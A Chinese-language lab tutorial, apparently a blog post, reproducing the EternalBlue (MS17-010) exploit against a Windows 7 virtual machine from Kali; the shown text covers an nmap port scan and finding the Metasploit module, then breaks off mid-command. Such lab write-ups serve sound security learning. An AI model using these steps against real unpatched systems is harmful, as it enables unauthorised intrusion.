永恒之蓝(ms17-010)漏洞复现，进行简单后渗透信息收集

申明
本文章仅供学习使用

---

环境准备：
win7虚拟机（靶机）
ip：192.168.56.134

kali虚拟机（攻击机）
ip：172.18.20.164

要求：win7虚拟机不要开防火墙，开放445端口，没有打永恒之蓝的补丁

---

实验开始：
先用nmap扫描一下靶机开了哪几个端口：

nmap -Sv -p 1-1000 192.168.56.134

跑了两分钟，发现win7着实开了445端口。接下来直接打开msfconsole来进行攻击。

打开msfconsole会随机跳出图案，每一次打开都不一样。
接下来使用exploit/windows/smb/ms17_010_eternalblue模块进行攻击即可。

如果忘了模块名问题也不大，直接搜索漏洞名字ms17-010即可：

search ms17-010

根据后面的等级（rank）来进行选择即可。这里使用exploit/windows/smb/ms17_010_eternalblue模块哈，命令如下：

u